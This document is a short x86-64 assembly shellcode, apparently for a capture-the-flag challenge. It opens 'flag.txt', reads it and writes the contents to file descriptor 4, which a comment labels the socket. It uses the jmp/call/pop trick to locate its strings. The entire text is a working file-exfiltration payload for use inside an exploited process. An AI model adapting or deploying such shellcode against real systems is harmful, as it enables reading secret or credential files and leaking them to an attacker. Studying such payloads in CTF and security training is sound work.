bits 64

section .text
global _start

_start:
    jmp filename

_open:                  ; fd = open(filename, O_RDONLY)
    pop rdi             ; filename's address
    mov rsi, 0x0        ; O_RDONLY
    mov rax, 0x2        ; syscall id for open
    syscall

    jmp buffer

_read:                  ; read(fd, buffer, 0x100)
    mov rdi, rax        ; fd
    pop rsi             ; buffer's address
    push rsi            ; buffer's address to be used by write
    mov rdx, 0x100      ; size
    mov rax, 0x0        ; syscall id for read
    syscall

_write:                 ; write(4, buffer, 0x100)
    mov rdi, 0x4        ; socket
    pop rsi             ; buffer's address
    mov rdx, 0x100      ; size
    mov rax, 0x1        ; syscall id for write
    syscall

    jmp _exit

filename:
    call _open
    db "flag.txt", 0x0

buffer:
    call _read
    db ""

_exit:

